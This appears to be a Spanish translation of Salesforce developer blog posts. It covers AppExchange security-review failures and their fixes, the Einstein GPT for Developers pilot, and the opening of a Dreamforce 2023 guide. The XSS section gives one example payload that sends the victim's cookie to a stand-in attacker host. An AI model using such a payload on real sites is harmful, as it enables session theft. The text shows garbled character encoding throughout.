En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnolog铆a transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este a帽o, anunciamos Einstein GPT para desarrolladores , la soluci贸n de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce m谩s r谩pido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora est谩 en piloto cerrado.

Creado espec铆ficamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar c贸digo Apex utilizando lenguaje natural. El soporte para LWC llegar谩 pronto. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos c贸mo comenzar con Einstein GPT para el desarrollo de Apex y c贸mo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificaci贸n de IA

Las herramientas de codificaci贸n de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes p煤blicos, como Java, Python y otros, as铆 como en c贸digo disponible p煤blicamente. Dado que los lenguajes espec铆ficos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitaci贸n necesaria para brindar recomendaciones precisas.

Adem谩s, las herramientas de codificaci贸n de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificaci贸n p煤blicas carecen del contexto de Salesforce de su organizaci贸n, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por 煤ltimo, el uso de herramientas de inteligencia artificial disponibles p煤blicamente expone su c贸digo privado m谩s all谩 del l铆mite de confianza de Salesforce y podr铆a hacerlo p煤blico, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de c贸digo abierto para la s铆ntesis de programas. Hospedamos CodeGen dentro del l铆mite de confianza de Salesforce y lo hemos capacitado en lenguajes espec铆ficos de Salesforce como Apex y LWC. Con una base din谩mica incorporada al proceso de generaci贸n de c贸digo, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y c贸digo. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y c贸digo permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que est茅 disponible en Open Beta para Dreamforce 2023. Una vez que su organizaci贸n est茅 habilitada para esta herramienta, puede instalar la extensi贸n Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT tambi茅n estar谩 disponible en Code Builder , nuestro IDE basado en web, que se espera que est茅 disponible de forma general en octubre. 隆Est茅n atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el men煤 y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organizaci贸n para conectarse a una organizaci贸n sandbox o a una organizaci贸n borrador de Salesforce. Podr谩 utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si est谩 utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la funci贸n adicional de organizaci贸n borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la funci贸n EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar c贸digo Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar c贸digo con Einstein GPT (ver captura de pantalla a continuaci贸n) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuaci贸n se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llam茅moslo OpportunityQuerySelector. Cree un m茅todo llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta espec铆fico. El m茅todo debe aceptar accountId como par谩metro. Siga las mejores pr谩cticas de seguridad y aseg煤rese de que el c贸digo se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuaci贸n.

Si bien el c贸digo generado anteriormente no requiri贸 muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT seg煤n sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. 隆Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Reci茅n estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere c贸digo LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalizaci贸n predictiva de c贸digo en l铆nea: complete autom谩ticamente la siguiente l铆nea de c贸digo sugerida con metadatos contextuales del proyecto.
  • Verificaci贸n del rendimiento del c贸digo: escanee el c贸digo Apex y corrija errores de tiempo de ejecuci贸n durante el proceso de desarrollo
  • Asistencia conversacional: P铆dale a Einstein que genere c贸digo contextual y documentaci贸n, explique el c贸digo o resuelva problemas complejos.

Conclusi贸n

A medida que Einstein GPT para desarrolladores ampl铆e sus capacidades para admitir LWC, proporcionar finalizaci贸n de c贸digo inteligente y brindar asistencia conversacional, podr谩 desarrollar la plataforma Salesforce m谩s r谩pido que nunca. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. 隆脷nase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
A帽adir a tu agenda

Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

